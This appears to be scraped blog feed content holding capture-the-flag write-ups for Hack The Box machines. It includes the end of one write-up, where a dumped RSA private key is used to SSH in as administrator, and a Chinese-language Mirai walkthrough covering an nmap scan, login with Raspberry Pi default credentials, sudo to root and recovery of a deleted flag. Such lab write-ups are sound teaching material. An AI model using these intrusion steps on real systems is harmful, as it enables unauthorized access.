docker@box:/c/Users/Administrator/.ssh$ cat id_rsa                             cat id_rsa -----BEGIN RSA PRIVATE KEY-----MIIEowIBAAKCAQEAvo4SLlg/dkStA4jDUNxgF8kbNAF+6IYLNOOCeppfjz6RSOQvMd08abGynhKMzsiiVCeJoj9L8GfSXGZIfsAIWXn9nyNaDdApoF7Mfm1KItgO+W9mM7lArs4zgBzMGQleIskQvWTcKrQNdCDj9JxNIbhYLhJXgro+u5dW6EcYzq2MSORm7A+eXfmPvdr4hE0wNUIwx2oOPr2duBfmxuhL8mZQWu5U1+Ipe2Nv4fAUYhKGTWHj4ocjUwG9XcU0iI4pcHT3nXPKmGjoPyiPzpa5WdiJ8QpME398Nne4mnxOboWTp3jG<...>bsf9AoGBAIWYKT0wMlOWForD39SEN3hqP3hkGeAmbIdZXFnUzRioKb4KZ42sVy5Bq3CKhoCDk8N+97jYJhPXdIWqtJPoOfPj6BtjxQEBoacW923tOblPeYkI9biVUyIpBYxKDs3rNUsW1UUHAvBh0OYs+v/X+Z/2KVLLeClznDJWh/PNqF5I-----END RSA PRIVATE KEY-----
$ ssh -i id_rsa administrator@10.10.10.236  The authenticity of host '10.10.10.236 (10.10.10.236)' can't be established.ED25519 key fingerprint is SHA256:KJAib23keV2B8xvFaxg7e79uztryW+LYX+Wb2qA9u4k.This key is not known by any other names.Are you sure you want to continue connecting (yes/no/[fingerprint])? yesWarning: Permanently added '10.10.10.236' (ED25519) to the list of known hosts.Microsoft Windows [Version 10.0.17763.1039](c) 2018 Microsoft Corporation. All rights reserved.administrator@TOOLBOX C:\Users\Administrator>
FlagPath
Flag1/var/lib/postgresql/user.txt
Flag2C:\Users\Administrator\Desktop\flag.txt
]]> <style>.cqdgcwqinmrf{zoom:50%;}</style><img src="/posts/96a67a56/9d218e64149bfb00a002d94868f2e4b1.png" class="cqdgcwqinmrf"> HTB-Mirai https://ry0ma24.github.io/posts/c3392160.html 2025-03-02T03:57:33.000Z 2025-04-25T08:44:00.917Z .qodjngigllvt{zoom:50%;}
OSDifficulty
LinuxEasy

Nmap Scan

$ nmap 10.10.10.48 -sV  -sC -p- -T4 --min-rate 1000 -e tun0 Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-02 11:57 CSTNmap scan report for 10.10.10.48Host is up (0.13s latency).Not shown: 65343 closed tcp ports (reset), 186 filtered tcp ports (no-response)PORT      STATE SERVICE VERSION22/tcp    open  ssh     OpenSSH 6.7p1 Debian 5+deb8u3 (protocol 2.0)| ssh-hostkey: |   1024 aa:ef:5c:e0:8e:86:97:82:47:ff:4a:e5:40:18:90:c5 (DSA)|   2048 e8:c1:9d:c5:43:ab:fe:61:23:3b:d7:e4:af:9b:74:18 (RSA)|   256 b6:a0:78:38:d0:c8:10:94:8b:44:b2:ea:a0:17:42:2b (ECDSA)|_  256 4d:68:40:f7:20:c4:e5:52:80:7a:44:38:b8:a2:a7:52 (ED25519)53/tcp    open  domain  dnsmasq 2.76| dns-nsid: |_  bind.version: dnsmasq-2.7680/tcp    open  http    lighttpd 1.4.35|_http-title: Site doesn't have a title (text/html; charset=UTF-8).|_http-server-header: lighttpd/1.4.351686/tcp  open  upnp    Platinum UPnP 1.0.5.13 (UPnP/1.0 DLNADOC/1.50)32400/tcp open  http    Plex Media Server httpd|_http-title: Unauthorized|_http-cors: HEAD GET POST PUT DELETE OPTIONS| http-auth: | HTTP/1.1 401 Unauthorized\x0D|_  Server returned status 401 but no WWW-Authenticate header.|_http-favicon: Plex32469/tcp open  upnp    Platinum UPnP 1.0.5.13 (UPnP/1.0 DLNADOC/1.50)Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelService detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 122.17 seconds

添加本地域名解析到hosts

$ echo '10.10.10.48 mirai.htb' | sudo tee -a /etc/hosts

访问目标 http://mirai.htb ,右键查看源码，找到一个路径

访问/admin 可以看到是树苺派

漏洞利用

使用树苺派默认凭证 pi:raspberry 登录SSH

$ ssh pi@mirai.htb              The authenticity of host 'mirai.htb (10.10.10.48)' can't be established.ED25519 key fingerprint is SHA256:TL7joF/Kz3rDLVFgQ1qkyXTnVQBTYrV44Y2oXyjOa60.This key is not known by any other names.Are you sure you want to continue connecting (yes/no/[fingerprint])? yesWarning: Permanently added 'mirai.htb' (ED25519) to the list of known hosts.pi@mirai.htb's password: The programs included with the Debian GNU/Linux system are free software;the exact distribution terms for each program are described in theindividual files in /usr/share/doc/*/copyright.Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extentpermitted by applicable law.Last login: Sun Aug 27 14:47:50 2017 from localhostSSH is enabled and the default password for the 'pi' user has not been changed.This is a security risk - please login as the 'pi' user and type 'passwd' to set a new password.SSH is enabled and the default password for the 'pi' user has not been changed.This is a security risk - please login as the 'pi' user and type 'passwd' to set a new password.pi@raspberrypi:~ $ iduid=1000(pi) gid=1000(pi) groups=1000(pi),4(adm),20(dialout),24(cdrom),27(sudo),29(audio),44(video),46(plugdev),60(games),100(users),101(input),108(netdev),117(i2c),998(gpio),999(spi)

权限提升

运行sudo -l 可以看到能直接切换root用户，查看root.txt 提示备份在USB stick

pi@raspberrypi:~ $ sudo -lMatching Defaults entries for pi on localhost:    env_reset, mail_badpass,    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/binUser pi may run the following commands on localhost:    (ALL : ALL) ALL    (ALL) NOPASSWD: ALLpi@raspberrypi:~ $ sudo -iSSH is enabled and the default password for the 'pi' user has not been changed.This is a security risk - please login as the 'pi' user and type 'passwd' to set a new password.SSH is enabled and the default password for the 'pi' user has not been changed.This is a security risk - please login as the 'pi' user and type 'passwd' to set a new password.root@raspberrypi:~# lsroot.txtroot@raspberrypi:~# cat root.txt I lost my original root.txt! I think I may have a backup on my USB stick...root@raspberrypi:~#

查看驱动清单，进入/media/usbstick，查看 damnit.txt 

root@raspberrypi:/# df -hlFilesystem      Size  Used Avail Use% Mounted onaufs            8.5G  2.8G  5.3G  34% /tmpfs           100M  4.8M   96M   5% /run/dev/sda1       1.3G  1.3G     0 100% /lib/live/mount/persistence/sda1/dev/loop0      1.3G  1.3G     0 100% /lib/live/mount/rootfs/filesystem.squashfstmpfs           250M     0  250M   0% /lib/live/mount/overlay/dev/sda2       8.5G  2.8G  5.3G  34% /lib/live/mount/persistence/sda2devtmpfs         10M     0   10M   0% /devtmpfs           250M  8.0K  250M   1% /dev/shmtmpfs           5.0M  4.0K  5.0M   1% /run/locktmpfs           250M     0  250M   0% /sys/fs/cgrouptmpfs           250M  8.0K  250M   1% /tmp/dev/sdb        8.7M   93K  7.9M   2% /media/usbsticktmpfs            50M     0   50M   0% /run/user/999tmpfs            50M     0   50M   0% /run/user/1000root@raspberrypi:/# cd /media/usbstickroot@raspberrypi:/media/usbstick# lsdamnit.txt  lost+foundroot@raspberrypi:/media/usbstick# cat damnit.txt Damnit! Sorry man I accidentally deleted your files off the USB stick.Do you know if there is any way to get them back?-James

使用strings 查看字符串

root@raspberrypi:/media/usbstick# strings /dev/sdb >r &/media/usbsticklost+foundroot.txtdamnit.txt>r &>r &/media/usbsticklost+foundroot.txtdamnit.txt>r &/media/usbstick2]8^lost+foundroot.txtdamnit.txt>r &3d3e483143ff12ec505d026fa13e020bDamnit! Sorry man I accidentally deleted your files off the USB stick.Do you know if there is any way to get them back?-James
FlagPath
Flag1/home/pi/Desktop/user.txt
Flag2strings /dev/sdb
]]> <style>.qodjngigllvt{zoom:50%;}</style><img src="/posts/c3392160/4ef1ea77e69185063d4200d7d0142baa.png" class="qodjngigllvt">